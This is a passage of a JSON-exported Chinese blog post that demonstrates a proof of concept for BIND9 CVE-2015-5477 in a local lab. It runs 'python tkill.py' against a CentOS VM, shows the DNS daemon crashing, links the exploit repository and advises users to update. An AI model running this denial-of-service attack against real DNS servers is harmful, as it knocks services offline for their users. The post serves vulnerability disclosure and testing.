\/>\n\u6211\u5df2\u7ecf\u5c06\u5176\u4e0a\u4f20\u5230Github\u4e0a\u4e86\u3002<br \/>\nhttps:\/\/github.com\/knqyf263\/cve-2015-5477<\/p>\n<h3>\u6267\u884c\u653b\u51fb<br \/>\n\u9996\u5148\uff0c\u5728CentOS\u4e0a\u542f\u52a8BIND\uff0c\u7136\u540e\u6211\u4eec\u5c06\u8fdb\u884c\u5b9e\u9645\u7684\u653b\u51fb\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 vagrant]#<\/span> \/var\/named\/chroot\/sbin\/named <span class=\"nt\">-u<\/span> <span class=\"nb\">bind<\/span> <span class=\"nt\">-t<\/span> \/var\/named\/chroot <span class=\"nt\">-c<\/span> \/etc\/named.conf\r\n<span class=\"gp\">[root@vagrant-centos65 vagrant]#<\/span> ps awux | <span class=\"nb\">grep<\/span> <span class=\"nt\">-v<\/span> <span class=\"nb\">grep<\/span> | <span class=\"nb\">grep bind<\/span>\r\n<span class=\"go\">rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind\r\nbind      2428  0.5  2.2 141164 13480 ?        Ssl  15:17   0:00 \/var\/named\/chroot\/sbin\/named -u bind -t \/var\/named\/chroot -c \/etc\/named.conf\r\n<\/span><\/code><\/pre>\n<p>\u901a\u8fc7\u6b64\u6b21\u6865\u63a5\u8fde\u63a5\uff0c\u4e3b\u673a\u548c\u5ba2\u6237\u7aef\u7684IP\u5730\u5740\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<div>\n<div class=\"post-table\">\u30de\u30b7\u30f3IP\u30a2\u30c9\u30ec\u30b9\u30db\u30b9\u30c8(Mac)192.168.1.10\u30b2\u30b9\u30c8(CentOS)192.168.1.11\u73b0\u5728\u6211\u5c06\u5728\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf(Mac)\u4e0a\u6267\u884c\u653b\u51fb\u4ee3\u7801\u5e76\u9488\u5bf9\u5ba2\u6237\u64cd\u4f5c\u7cfb\u7edf\u7684BIND\u670d\u52a1\u8fdb\u884c\u6d4b\u8bd5\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">$<\/span> python tkill.py 192.168.1.11\r\n<span class=\"go\">WARNING: No route found for IPv6 destination :: (no default route?)\r\nBegin emission:\r\n...Finished to send 1 packets.\r\n<\/span><span class=\"c\">..................................................\r\n<\/span><\/code><\/pre>\n<p>\u653b\u51fb\u6267\u884c\u540e\uff0c\u5728CentOS\u5ba2\u6237\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u8fdb\u884c\u786e\u8ba4\u65f6\uff0c\u53ef\u4ee5\u6ce8\u610f\u5230BIND\u5df2\u7ecf\u6d88\u5931\u4e86\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 vagrant]#<\/span> ps awux | <span class=\"nb\">grep<\/span> <span class=\"nt\">-v<\/span> <span class=\"nb\">grep<\/span> | <span class=\"nb\">grep bind<\/span>\r\n<span class=\"go\">rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind\r\n<\/span><\/code><\/pre>\n<p>\u6211\u53ef\u4ee5\u770b\u51fa\u653b\u51fb\u6210\u529f\u4e86\u3002<br \/>\n\u5b9e\u9645\u53d1\u9001\u7684\u67e5\u8be2\u5982\u4e0b\u6240\u793a\u3002<br \/>\n\u6211\u60f3\u60a8\u53ef\u80fd\u5df2\u7ecf\u6ce8\u610f\u5230\u4e86\uff0c\u67e5\u8be2\u8bb0\u5f55\u548c\u9644\u52a0\u8bb0\u5f55\u7684Name\u90fd\u662fexample.com\uff0c\u4f46Type\u4e0d\u540c\u3002<\/p>\n<div><img decoding=\"async\" class=\"post-images\" title=\"kobito.1439739060.736723.png\" src=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657c240fd0c9c81e0f5c7097\/81-0.png\" alt=\"kobito.1439739060.736723.png\" \/>\u8fd9\u6b21\uff0c\u5728\/etc\/named.conf\u7684internal-network\u4e2d\u5305\u542b\u4e86192.168.0.0\/16\uff0c\u4f46\u5373\u4f7f\u4e0d\u5305\u542b\u5728\u5185\uff0c\u4e5f\u65e0\u6cd5\u9632\u6b62\u6b64\u6b21\u7684\u6f0f\u6d1e\u3002<br \/>\n\u636e\u8bf4\u662f\u56e0\u4e3a\u5728\u786e\u8ba4ACL\u7b49\u4e4b\u524d\u7684\u5904\u7406\u4e2d\u5d29\u6e83\u4e86\u3002<br \/>\n\u5b9e\u9645\u4e0a\uff0c\u5373\u4f7f\u5c06localhost\u6307\u5b9a\u4e3ainternal-network\uff0c\u5e76\u62d2\u7edd\u6765\u81ea192.168.0.0\/16\u7684\u6570\u636e\u5305\uff0c\u4ecd\u7136\u4f1a\u5d29\u6e83\u3002<\/p>\n<h1>\u603b\u7ed3\u6211\u4eec\u53d1\u73b0\u5728\u8fd9\u6b21\u7684\u6f0f\u6d1e\u4e2d\uff0c\u975e\u5e38\u5bb9\u6613\u901a\u8fc7\u53d1\u9001\u4e00\u4e2a\u6570\u636e\u5305\u5c31\u53ef\u4ee5\u4f7fBIND\u670d\u52a1\u5668\u5d29\u6e83\u3002<br \/>\n\u53ea\u9700\u8981\u6709\u4e00\u4e2a\u5e93\uff0c\u51e0\u4e4e\u53ef\u4ee5\u901a\u8fc7\u4e00\u884c\u547d\u4ee4\u5c31\u80fd\u591f\u8ba9\u5176\u5d29\u6e83\u3002<br \/>\n\u800c\u4e14\u4f3c\u4e4e\u5373\u4f7f\u6ca1\u6709\u5bf9BIND\u8fdb\u884c\u7279\u6b8a\u914d\u7f6e\uff0c\u5b83\u4e5f\u4f1a\u53d7\u5230\u5f71\u54cd\u3002<br \/>\n\u90a3\u4e9b\u4f7f\u7528BIND\u7684\u4eba\u5e94\u8be5\u5c3d\u5feb\u66f4\u65b0\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>BIND9\u88ab\u516c\u5f00\u79f0\u4e3a\u53ef\u53d7\u5230DoS\u653b\u51fb\u7684\u6f0f\u6d1e &#8211; http:\/\/jprs.jp\/tech\/secur [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[227],"class_list":["post-28708","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-227"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v21.5 (Yoast SEO v21.5) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC - Blog - Silicon Cloud<\/title>\n<meta name=\"description\" content=\"\u5173\u4e8e\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\u7684\u6280\u672f\u6587\u7ae0\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.silicloud.com\/zh\/blog\/\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86bind9\u7684\u6f0f\u6d1ecve-2015-5477\u7684poc\u3002-2\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\" \/>\n<meta property=\"og:description\" content=\"\u5173\u4e8e\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\u7684\u6280\u672f\u6587\u7ae0\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.silicloud.com\/zh\/blog\/\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86bind9\u7684\u6f0f\u6d1ecve-2015-5477\u7684poc\u3002-2\/\" \/>\n<meta property=\"og:site_name\" content=\"Blog - Silicon Cloud\" \/>\n<meta property=\"article:published_time\" content=\"2022-11-26T13:46:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-08-12T01:40:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657c240fd0c9c81e0f5c7097\/81-0.png\" \/>\n<meta name=\"author\" content=\"\u79d1, \u96c5\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u79d1, \u96c5\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/\",\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/\",\"name\":\"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC - Blog - Silicon Cloud\",\"isPartOf\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#website\"},\"datePublished\":\"2022-11-26T13:46:30+00:00\",\"dateModified\":\"2025-08-12T01:40:07+00:00\",\"author\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/41e222757cdd2a3365361328bd79970a\"},\"description\":\"\u5173\u4e8e\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\u7684\u6280\u672f\u6587\u7ae0\",\"breadcrumb\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.silicloud.com\/zh\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#website\",\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/\",\"name\":\"Blog - Silicon Cloud\",\"description\":\"\",\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/41e222757cdd2a3365361328bd79970a\",\"name\":\"\u79d1, \u96c5\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1b2d3e00a7df03689797ebd4af8c5827ba5af936849a71050ec331f4cf902c5d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1b2d3e00a7df03689797ebd4af8c5827ba5af936849a71050ec331f4cf902c5d?s=96&d=mm&r=g\",\"caption\":\"\u79d1, \u96c5\"},\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/author\/keya\/\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/#local-main-organization-logo\",\"url\":\"\",\"contentUrl\":\"\",\"caption\":\"Blog - Silicon Cloud\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC - Blog - Silicon Cloud","description":"\u5173\u4e8e\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\u7684\u6280\u672f\u6587\u7ae0","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.silicloud.com\/zh\/blog\/\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86bind9\u7684\u6f0f\u6d1ecve-2015-5477\u7684poc\u3002-2\/","og_locale":"zh_CN","og_type":"article","og_title":"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC","og_description":"\u5173\u4e8e\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\u7684\u6280\u672f\u6587\u7ae0","og_url":"https:\/\/www.silicloud.com\/zh\/blog\/\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86bind9\u7684\u6f0f\u6d1ecve-2015-5477\u7684poc\u3002-2\/","og_site_name":"Blog - Silicon Cloud","article_published_time":"2022-11-26T13:46:30+00:00","article_modified_time":"2025-08-12T01:40:07+00:00","og_image":[{"url":"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657c240fd0c9c81e0f5c7097\/81-0.png"}],"author":"\u79d1, \u96c5","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"\u79d1, \u96c5","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"1 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/","url":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/","name":"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC - Blog - Silicon Cloud","isPartOf":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/#website"},"datePublished":"2022-11-26T13:46:30+00:00","dateModified":"2025-08-12T01:40:07+00:00","author":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/41e222757cdd2a3365361328bd79970a"},"description":"\u5173\u4e8e\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC\u7684\u6280\u672f\u6587\u7ae0","breadcrumb":{"@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.silicloud.com\/zh\/blog\/"},{"@type":"ListItem","position":2,"name":"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC"}]},{"@type":"WebSite","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#website","url":"https:\/\/www.silicloud.com\/zh\/blog\/","name":"Blog - Silicon Cloud","description":"","inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/41e222757cdd2a3365361328bd79970a","name":"\u79d1, \u96c5","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1b2d3e00a7df03689797ebd4af8c5827ba5af936849a71050ec331f4cf902c5d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b2d3e00a7df03689797ebd4af8c5827ba5af936849a71050ec331f4cf902c5d?s=96&d=mm&r=g","caption":"\u79d1, \u96c5"},"url":"https:\/\/www.silicloud.com\/zh\/blog\/author\/keya\/"},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/#local-main-organization-logo","url":"","contentUrl":"","caption":"Blog - Silicon Cloud"}]}},"_links":{"self":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/28708","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/comments?post=28708"}],"version-history":[{"count":3,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/28708\/revisions"}],"predecessor-version":[{"id":111375,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/posts\/28708\/revisions\/111375"}],"wp:attachment":[{"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/media?parent=28708"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/categories?post=28708"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.silicloud.com\/zh\/blog\/wp-json\/wp\/v2\/tags?post=28708"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}